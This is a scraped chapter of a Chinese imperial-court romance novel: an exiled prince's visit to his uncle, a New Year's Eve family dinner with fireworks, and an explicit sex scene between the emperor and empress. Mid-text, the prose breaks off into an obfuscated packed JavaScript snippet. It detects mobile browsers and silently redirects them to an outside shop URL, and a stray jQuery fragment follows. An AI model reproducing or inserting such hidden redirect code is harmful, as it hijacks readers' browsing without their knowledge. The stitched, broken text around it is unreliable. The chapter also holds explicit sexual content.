沈书从陈瑶筝的马车离开后确实去了青花街的李怀守府上。
不过他并不住在李府,李怀守当时正在院子里对月吟诗,突然出现一高大陌生人,他吓得差点喊“抓刺客”。
沈书站在月光下,邪魅一笑:“舅舅。”
“哟哟哟哟哟!”李怀守手里的书应声落地,急得他直拍大腿,“你你你你怎么跑回来的你,你知不知道被流放边关的皇子不得召私自回京可是重罪,是要诛九族的哎哟!”
沈书脸上的笑渐渐消失,看着眼前这个,他在这个世上唯一的亲人。
他早该想到的,当初他亲娘死后,李家没有人关心他的处境,反而又送了一位女儿进宫。
后来他想将沈之唤拉下太子之位取而代之,找到李怀守相助,他这个舅舅却畏手畏脚不敢冒险。
亲舅舅对他避恐不及,沈书突然忘了他冒险回李家走一趟是为了什么。
北方的雪停了,沈书在京都城四处碰壁,终于在除夕前的最后一个午后见到了卫潜。
彼时,卫潜正在醉云楼宴请宾客。
沈书乔装后上楼,三更天时走山路出城。
他的一举一动,全在沈之唤的监视之下。
新春佳节,宫里每年都会大办宴席,但今年,沈之唤提早下旨辍朝,连休二十日。
除夕夜。
“哥,你都不知道,你们不在这段时间我都是怎么过来的!四更天!每天四更天我就到大殿后坐着了,听那群老家伙杞人忧天争论一些不切实际的琐事。”
大过年的沈之璟都没能让他这两位兄嫂的耳朵清静清静。
小念辰最近在学着用筷子,他安安静静地坐在一旁,试图不通过练习直接征服手中这双不听使唤的筷子。
“那叫未雨绸缪。”
陈瑶筝嫌弃道,真不知道这小子什么时候才能成熟一点,等他有能力替沈之唤分忧了,小念辰都能监国了。
沈之璟:“我不管,反正你们两个要补偿我!”
新酿的红梅酒陈瑶筝只尝了一口,沈之唤将她杯中的酒倒进自己的杯子,看了眼沈之璟道:“千客山庄那处酒庄不是送你了吗?”
又给陈瑶筝换了荔枝酿。
沈之璟张口就要反驳:“那是!”
沈之唤幽幽看向他:“是什么?”
“没,没什么......”沈之璟那嚣张的气焰顿时削减了一半。
他转头去问陈瑶筝:“嫂子,我怎么听说姜家那丫头最近在招婿,这事儿你听说了吗?”
红梅酒的花香味太浓,陈瑶筝不喜欢,荔枝酿的口感刚刚好,她不免贪多了几杯。
听沈之璟所言,放下筷子道:“有兴趣的话可以去姜府报名,本宫会跟姜礼打声招呼,给你插个队。”
“咦~”沈之璟连连摆手,“我谢谢你啊,她可是京都城内出了名的不好惹,我还想多活几年呢。”
“所以我们姜大小姐才需要一位温顺能处处谦让她的夫婿,”陈瑶筝的表情看起来不像在开玩笑,“又刚好小璟你年纪小,听话,如果参加姜府的招婿胜出几率还是很大的。”
沈之璟不可思议看着陈瑶筝,大吼:“那不是招婿,是招赘婿!我?!堂堂亲王,嫂子你让我去当赘婿?!!”
“别太激动。”陈瑶筝吃着沈之唤刚夹到碗里的青豆,“本宫还没有答应给你开后门。”
“不过按辈分讲,你应该喊姜礼一声阿姐。”
沈之璟和陈瑶筝这边聊得热火朝天,就好像明天沈之璟就要嫁人了般喜庆。
两人身侧的小念辰最先察觉到父皇母后之间微妙的变化,他悄悄放下筷子,小手在桌下握了握沈之唤的大拇指。
沈之唤轻笑着回应,将小念辰抱到自己腿上亲自喂。
砰!
砰!砰!
宫外偶有烟花爆竹声,但这次的声音似乎格外近。
小念辰从沈之唤腿上跳下去,往外跑。
虽然沈之唤曾下令不许在皇宫内放烟花,但每年除夕夜小念辰都会偷偷趴在窗边等着七彩烟花在夜空中炸开的那一瞬间。
烟花绚丽的色彩可以填补小小的他内心的一小片空缺,烟花在耳边炸开的瞬间,他脑海中会自动浮现出皇宫外,无数个小家在烟花下欢笑的场景。
这样的幻想,小念辰从来没有对任何人说过。
“哇—!”
高墙大殿围住的四方院落,以小念辰的视角,抬头只能看到四四方方的一小方夜空。也就是这一小方夜空,尽数被绚烂的烟花填满。
三个大人追出来的时候,小念辰正以小鸟展翅的姿态绕着院子转圈。
“咯咯咯”的笑声将孤寂了多年的皇宫彻底唤醒。
放烟花的宫人就在一墙之隔的院外,小念辰跑累了扑到沈之唤怀里,沈之唤抱着小念辰吩咐院外的宫人将烟花拿进来接着放。
小念辰眼睛都发亮了,跃跃欲试。
沈之唤一手稳稳抱着小念辰,另一种手紧紧握着陈瑶筝,漫天烟花,满宫的侍卫宫人在烟花下许下新年美好的祝愿。
小念辰在沈之唤左脸上亲了亲,又弯腰去够陈瑶筝的脖子,“吧唧”一口亲在陈瑶筝侧脸上。
沈之璟用两根食指堵着自己的耳朵,龇牙咧嘴地看着。
烟花落尽,沈之璟抢过小念辰,腰间别着火折子,找了个陈瑶筝和沈之唤看不到的地方,偷偷带小念辰放烟花。
院子里只剩陈瑶筝和沈之唤两人,他们在除夕夜,烟花下,深深拥吻。
相比今夜,凤栖阁那晚的吻太过疯狂,疯狂到好似梦里发生的一样。
沈之唤双手虚抚上陈瑶筝的侧脸,呼吸沉沉道:“我们错过了十年,第十一年,会一直走下去吗?”
陈瑶筝的吻每次都那么热烈。
沈之唤无处安放的双手堪堪抚在她后脑的位置,被逼得不得不用力低着头迎合她。
陈瑶筝眼底清澈,用坚定的语气告诉他:“会的。”
十年过去,他们终于重新拥有了对方。
沈之唤的吻汹涌如波涛,他撕下往日的伪装,急切地覆上来。他的吻毫无章法,唇舌间带着压抑已久的急躁,贪婪地掠夺她的每一寸呼吸。
陈瑶筝一手抓住沈之唤胸前的衣领,与他额头抵着额头,尽力稳住自己的声线,对他说:“凤栖阁,就在后面......”
“......回正殿。”
陈瑶筝的后背紧贴在身后厚重的殿门之上,她环顾四周,蹙眉问:“你一个宫人都没留?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668831|205944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“待会儿我还要沐浴。”
沈之唤直勾勾看着她,声音很轻:“我伺候你。”
话音刚落,密密麻麻的吻由耳后蔓延至陈瑶筝细长的脖颈,沈之唤大手一捞,抱起陈瑶筝,大步走向殿内那张雕刻着龙凤呈祥的紫檀大床。
陈瑶筝身上只剩一层薄薄的白色寝衣,她撑起上半身,打量着衣冠楚楚的沈之唤。
一手扯下沈之唤头顶束发的金簪扔到枕边,屈起左腿,脚尖不轻不重地在他胸口前踹了一脚,命令道:“自己脱。”
沈之唤俯身在她唇上轻点一下,退至床尾,十根修长干净的手指攀上腰间的封带,直到漏出他肌理紧实,线条利落的胸肌,陈瑶筝才大发慈悲地喊了停。
他身上的寝衣与陈瑶筝是同款,隔着寝衣,陈瑶筝能清晰地看到他身下紧致平整的腰腹,随着呼吸缓缓起伏。
陈瑶筝绕到他身后,右手顺着他宽厚的肩膀缓缓滑至锁骨,唇瓣几乎贴着沈之唤的耳朵,清冷缱绻的语气不像是在商量:
“沈之唤,我想看你……”温热缱绻的气息将沈之唤整个人紧紧包围,“自己来。”
沈之唤接收到的信息超出了他的预估,他心下微惊,不可思议地转头,像是要重新确认陈瑶筝话里的意思。
陈瑶筝却不给他这个机会,一手牢牢掌控他的下颌,使沈之唤没办法回头。
一边在他耳边继续道:“那天你对着我的画像是怎么做的,今天,再做一遍。”
“筝儿……”细碎的颤音从沈之唤鼻腔间翻涌而出。
陈瑶筝的吻极轻,极缓,似有若无,她面无表情,嘴唇只是在沈之唤的皮肤上轻轻略过,动作轻到已经不能用“吻”来形容了。
人唇部的皮肤相当娇软,无论男女,这种软对于另一幅身体来说是相当敏感的。
这种有一下没一下的触碰,对于沈之唤来说简直是极大的折磨。
手中的快感竟然比不上那故意的充满挑逗的触碰,他的身体为每一次柔软的触碰而颤栗不止。
这次,陈瑶筝没有等太久。
沈之唤翻身将陈瑶筝压在身下,他墨色的眸底蒙上一层湿漉漉的水汽,瞧着一脸坏笑的陈瑶筝,低声呢喃乞求:“我想。”
陈瑶筝推了推他:“想什么?”
沈之唤将头埋在陈瑶筝颈窝处,闷闷的声音传上来:“想做。”
陈瑶筝做惯了高高在上的上位者,在沈之唤这里自然也不例外。
她强势地坐在沈之唤身上,圆润的长甲在沈之唤沟壑分明的小腹上留下道道细长的红痕。
眼看着沈之唤从克制压抑到神智涣散,不加掩饰的低喘声从齿缝间层层溢出。
撑在他腰间的双手突然被掐住别到背后,紧接着身前突如其来的酥麻感瞬间顺着脊柱爬遍全身,陈瑶筝紧咬着下唇,鼻间只有浅浅的呼吸。
龙凤呈祥的紫檀大床发出“吱吱呀呀”的声响,床上的两人双颊都透着淡红,沈之唤猛地起身顺势调整了两人的位置。
“唔……”
陈瑶筝再也难掩那焚心蚀骨般的情动,痛呼出声,这一下应该到底了。
“怎么了?”她不知道沈之唤为什么突然用那种眼神看着她。
沈之唤动作未停:“你不认真。”